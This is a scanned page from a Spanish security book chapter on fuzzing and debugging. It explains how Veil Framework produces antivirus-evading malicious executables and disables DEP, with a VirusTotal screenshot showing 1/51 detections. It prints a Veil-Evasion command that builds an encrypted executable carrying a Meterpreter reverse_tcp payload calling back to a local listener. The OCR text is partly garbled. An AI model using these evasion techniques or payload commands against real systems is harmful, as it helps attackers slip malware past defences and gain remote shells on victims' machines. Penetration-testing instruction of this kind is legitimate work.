Capítulo II. Fuzzing y depuración de software
87
Aunque los pasos anteriores han podido parecer simples, en realidad Veil Framework abstrae muchas de las complejidades que implican no solo crear binarios maliciosos que puedan evadir restricciones de un AV en el sistema de la víctima, sino también, evadir otras restricciones y mecanismos de seguridad como es el caso de DEP en sistemas Windows.
!virustotal
0
SHA256:
705219f ecc e26790c 7b5f 6312a123 a9655f 14af 1df4d 6b94d58742beef 7a5143
File name:
maleware.exe
Detection ratio:
1/51
Analysis date:
2014-06-07 16:04:23 U TC ( 0 minutes ^ o )
9 Analysis
61 File detail
»0
0 Additional information
# Comments
i o
«Q Votes
Update
Antivirus
Result
Bkav
HW 32.CDB.Caaj
20140606
AVQ
©
20140607
Ad-Aware
©
20140607
AegisLab
©
20140607
Imagen 02.03: Detección del programa malicioso generado por Veil Framework.
Cuando el usuario utiliza Pylnstaller para generar un fichero ejecutable, por defecto el fichero tendrá habilitado DEP con el argumento “optln”, pero Veil cuenta con una versión de Pylnstaller propia que desactiva este comportamiento por defecto, facilitando de este modo la ejecución del programa malicioso en la máquina objetivo. Por otro lado, aunque el modo interactivo de Veil permite especificar cada una de las opciones para generar un ejecutable con un shellcode inyectado, también es posible especificar opciones por línea de comandos para asignar las propiedades solicitadas en modo interactivo. De esta forma, Veil no solicitara la interacción con el usuario y generará el ejecutable con los parámetros recibidos por linea de comandos. >python Veil-Evasion.py -p python/shellcode_inject/aes_encrypt -o malwareEncripted — msfpayload windows/meterpreter/reverse_tcp — msfoptions LHOST=192.168.1.228 LPORT=4444
Veil-Evasion I [Version]: 2.8.0 [Web]: https://www.veil-framework.com/ I [Twitter]: SVeilFramework
[!] WARNING: Official support for Kali Linux (x86) only at this time!